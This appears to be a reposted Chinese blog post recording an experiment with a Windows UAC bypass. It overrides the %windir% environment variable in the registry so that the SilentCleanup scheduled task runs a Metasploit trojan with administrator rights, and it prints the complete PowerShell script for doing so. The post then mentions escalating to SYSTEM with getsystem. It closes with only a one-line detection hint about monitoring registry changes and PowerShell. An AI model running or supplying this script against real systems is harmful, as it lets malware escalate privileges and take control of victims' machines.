本文共 966 字,大约阅读时间需要 3 分钟。
查msf报错的时候偶然看到这篇文章,于是做了实验并进行记录。
\Microsoft\Windows\DiskCleanup\SilentCleanup
是windows中有一个系统默认的计划任务,它的内容是以administrator权限执行cmd /c %windir%\System32\cleanmgr.exe
。而注册表可以修改环境变了%windir%,可以将其修改为powershell -ep bypass -w h 1.exe ;#
来利用powershell以administrator权限执行恶意文件1.exe。;#
可以截断后面的\System32\cleanmgr.exe。
修改并执行powershell脚本:
if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) { echo 123} else { $registryPath = "HKCU:\Environment" $Name = "windir" $Value = "powershell -ExecutionPolicy bypass -WindowStyle hidden C:\Users\lisi\Desktop\1.exe ;#\System32\cleanmgr.exe" Set-ItemProperty -Path $registryPath -Name $name -Value $Value schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null Remove-ItemProperty -Path $registryPath -Name $name}
执行完后,1.exe将会以administrator权限执行。我的1.exe文件是msf的木马,如果其以administrator权限执行则可以执行getsystem命令来提权到system,结果如下:
监控对注册表环境变量属性的更改,检测powershell命令。
转载地址:http://kqraf.baihongyu.com/